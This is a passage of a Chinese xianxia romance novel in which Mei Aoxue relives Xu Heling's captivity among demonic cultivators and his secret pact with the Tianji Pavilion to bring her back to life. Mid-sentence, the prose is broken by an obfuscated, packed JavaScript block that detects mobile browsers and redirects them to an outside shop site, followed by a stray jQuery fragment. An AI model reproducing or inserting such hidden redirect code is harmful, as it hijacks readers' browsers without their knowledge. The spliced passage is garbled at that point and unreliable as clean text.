好冷,梅傲雪仿佛置身于冰窟之中,四周没有一点光芒,而且她嗅到了魔修的气息。
她现在还在许鹤龄的身体里吗——而且可能是堕魔的许鹤龄。
“吱呀——”随着开门声,有光亮照进了这个地方,梅傲雪打量起这个小房间来,这是个再普通不过的地牢,甚至连草堆都没有,很难想象许鹤龄的身体是怎么在这种地方活下来的。
“咱们为什么非得留着他?这小子看着也没什么用吧。”一道尖锐的声音响起。
另一人压低声音回答道:“你小子别乱说,这可是老大的命令,惹恼了尊主,小心你的脑袋。”
“我就是觉得他看着是个小白脸,不像是有用的样子。”
为什么魔界的人要留着他?梅傲雪想,很快她便感觉到许鹤龄也发出了这个疑问,他们想留下梅傲雪是可以理解的,毕竟梅傲雪名声在外,若是能帮着魔修杀人,自然是不亏的,但他呢?他分明只是一个什么用也没有的丹修而已。
然而,许鹤龄还没来得及多想,那两个人便走过来,态度强硬地拉起许鹤龄,又给他的眼睛蒙上了眼罩。
许鹤龄没有力气反抗,只能随着他们的动作摆弄,他的四肢都受伤了,连走路都走不稳,可他们并不在乎,动作仍然很粗鲁。
很快便到了地方,许鹤龄被仍在地上,但他们仍然没有摘下他的眼罩,或许是不想让他见到高座上的人。
“尊主,人带来了。”
那位被称作尊主的人随意地应了一声,很快便朝许鹤龄走了过来,他能感知到对方强大的气息,他想,死了也挺好的。
然而对方没有动手,他似乎在查看他的伤势,果然,他问道:“这些伤是谁弄的?”
“尊主,这小子没什么用吧,不必在意,这些伤死不了的。”
“谁弄的?”虽然他的语气仍然平静,但那两个侍从已经跪了下来。
失去了视觉,其他的感官便会变得更加灵敏,许鹤龄听到了膝盖跪地的声音。
但这个问题的答案显而易见,那位尊主一抬手,有温热的液体溅到他的脸上,是血。
大殿内没有了别的声响,他们大概是死了。
许鹤龄有些不明白,这人究竟想做什么?
他本来想瞒着梅傲雪,自行了断,但临走前却被她发现了,她以为自己堕魔心虚离开,但他不知道该怎么解释。
他不想让梅傲雪徒增负担,这是他自己的选择,如果梅傲雪知道,她一定会很愧疚,他不想让她愧疚。
可惜被发现了,无奈之下他只能选择逃走,梅傲雪能追得上他,但她却没有这么做。
留在原地的那一刻,你在想什么呢?是在期待我回头吗?许鹤龄想,但理智告诉他绝对不能回头,所以他走得干脆。
他不知道自己该去哪,在他做出决定之前,他被一个魔修发现了。
他还未来得及反应,便被一个手刀打晕,陷入黑暗之中。
再醒来便到了这里,他们没有杀他,而是把他关了起来,每天都有人给他送饭,除此之外没人再和他说过话,如此过了几日,守卫换成了这两个魔修,他们不知为何开始虐待自己,除去言语上的羞辱之外,还会殴打他,但他没办法反抗,只能忍受。
他本以为自己没有价值,这两个也是得了别人的命令来欺辱他,但是现在看来……十分不对劲。
一双冰冷的手掐住了他的下巴,许鹤龄听见他说:“你选择死,还是做我的属下?”
许鹤龄没回答,对方也不着急,道:“我不急,你考虑好了再找我。”
说完这句话之后,他又消失了。
不知道从哪来了两个人,又将许鹤龄带回地牢中,取下了他的眼罩。
虽然现在许鹤龄还在地牢内,但梅傲雪知道他未来的选择,他没有选择死。
许鹤龄缓缓地靠着墙坐下,他在考量,他对这个人有什么利用价值,而他又能利用他们的信任做什么?
他没有想过死,在他看来,活着一定比死要更好,只要还活着就一定会有机会。
就像当年他选择了梅家一样,他现在过得就很好。
——不,是堕魔前。许鹤龄在心里纠正道。
梅傲雪没有等到许鹤龄做出决定便再次从他的身体中抽离,但她猜到了,他召集了许多魔修,他知道她会来,而且那些人伤不了她,连他自己也会死在她手上。
这是他的决定,但中途出现了意外。
他被操控了。
所以那个尊主一直在等这一刻,好深的一步棋。即使是敌人,梅傲雪也不得不感慨这一招的精妙,此前很少有人堕魔,所以根本没有人清楚被魔修种下魔种是什么样的,而他很好的利用了这个信息差。
“别想了——”思绪戛然而止,是谁在说话?
眼前一片黑暗,不同的场景中梅傲雪脑中疯狂闪动,而且场景中的人似乎都在重复同一句话,或者说,他们的话里包含了同一个词。
“回去。”
回哪儿去?梅傲雪问道,但是没有人回答她,她要回哪儿去?连她自己不知道,她为什么会在这里,最重要的一个问题……她是谁?
频繁地切换场景让梅傲雪更加难受,脑中仿佛被蚂蚁啃食,细细密密的痛感传来,她试图捶打自己的头转移痛苦,然而无济于事。
很快她发现,自己不是从许鹤龄的身体中抽离,而是在体会他的痛苦,只不过或许灵魂是不同的,所以见到的画面也有些不同。
他在戒“登仙”。
至于理由……
许鹤龄忍下这一次痛苦,意识很快恢复了清明。
昨日有一个男人找到他,告诉他,还有办法让梅傲雪活过来,他们会准备好一切,之所以选择他是因为这个法术要实现,必须有极强的执念才有机会成功。
而且施术者有可能会死。
许鹤龄听完的第一反应是,好处说完了,那坏处呢?
那人有些疑惑,“你不怕死吗?”
许鹤龄想,他早就已经死了。
他唯一的问题是,他们为什么要这么做?
对面人有些难以启齿,但为了说服许鹤龄,他还是选择了和盘托出。
“抱歉,这是我们的失误,梅傲雪她其实可以算是天命之女,她不该死在那个时候。”他看向许鹤龄,目光中满是期待,“只有你能救她了。”
“你们既然要依靠她,执念还不够深吗?”许鹤龄问道。
那人摇头,“我们已经尝试过很多次,若非走投无路,不会找你。”若是她真的重生,却发现你死了,大概还是会疯吧,但这句话他没有说出口。
许鹤龄深吸一口气,问道:“最后一个问题,你到底是谁?”
“天机阁。”
许鹤龄沉吟片刻,最终还是道:“我会尽全力。”
“若是你有需要,我们也会为你准备一具
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137137|143469||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
躯体。”他停顿片刻,补充道:“如果你还能活下来。当然,你想保持现在这样也无妨,我只是觉得,你会想待在她身边。”
“劳烦。”许鹤龄一拱手,见他欲言又止,那人问道:“还有何顾虑,请尽管提出。”
出于礼貌,许鹤龄的眼睛是在看着他的,但他的目光却仿佛没落在对面人的身上,他仿佛已经看到梅傲雪回来之后的样子,但她,真的还会想见他吗?
“你们会告诉她真相吗?”许鹤龄问道,他的嗓音艰涩,显然是有些犹豫。
“我们不会说,决定权在你。”
“多谢,你们等消息吧,我现在……”许鹤龄隐去了后半句话,反正天机阁的人一定很清楚这些,他不想亲口说出来。
对方并没有多说什么,只是点了点头,之后便离开了。
后来——
后来的事梅傲雪就都知道了,原来当时再次见面他撒的谎是这个,他不是不知道他们为什么重生,但是他没有说。
“铮——”脑海中有一根紧绷的弦断了,有人在喊她。
是谁?梅傲雪从许鹤龄体内抽离,她看着自己飘飘荡荡地悬在他上方,然而他却没有了任何呼吸和心跳。
“傲雪,醒过来,求求你……不要再丢下我。”
醒过来?是了,她被文殊兰刺伤,现在应该快死了。
再死一次吗?她只觉得无比平静,死亡并不可怕,这个道理她早就知道,她这一生经历过太多次死亡,爹娘,甚至是她自己。
只是她似乎还是有什么放不下的东西,这条命是他换回来的,她真的舍得吗?
她还有许多事情没有做——至少,还有许鹤龄和文殊兰。
她不能死。
她不相信文殊兰会做这件事,她突然想起来那天文殊兰手上的伤口,她或许和许鹤龄一样,只是被魔修操控了。
她要去救她,她要和许鹤龄一起。
梅傲雪听到许鹤龄的声音,他是不是守在自己的床前等她醒来,她似乎都能想象到他的样子。
手背上似乎传来一点温热的湿意,缓缓向下流淌着。
那是……眼泪吗?
“别哭……我在。”梅傲雪哑着声音,缓缓道。
睁开眼睛的一瞬间,梅傲雪便看到许鹤龄在她身边,他半跪在床边,握着她的手,他有多久没有哭过了?梅傲雪不知道,但确实是很久很久了。
然而这句话的用处不大,许鹤龄没有止住眼泪,他只是将自己的脸靠在梅傲雪的手上,虽然他什么也没有说,但梅傲雪却从这个动作中读出了他的意思——请你抹去我的眼泪吧,这样我就不会再哭了。
梅傲雪抬起手指,拇指指腹轻轻抹去许鹤龄眼角还未流下的泪水。
许鹤龄的目光一刻也没有离开过梅傲雪的脸,她被他看得有些不好意思,微微将头扭开,道:“我没事了,你不用担心。”
许鹤龄点了点头,“我去喊宗主过来。”
“嗯。”她确实想去找一趟文成德,只是现在她一时半刻还不能下床,只能麻烦他老人家跑一趟了。
直到起身的前一刻,许鹤龄才松开梅傲雪的手,末了还吻了一下她的指尖。
是刚刚替他抹泪的那根手指。
梅傲雪微微睁大双眼,转过去想看一眼许鹤龄,但他已经转过身去,离开了房间。
她躺在床上静静地想,她不过昏迷几天,他怎么就变成这样了?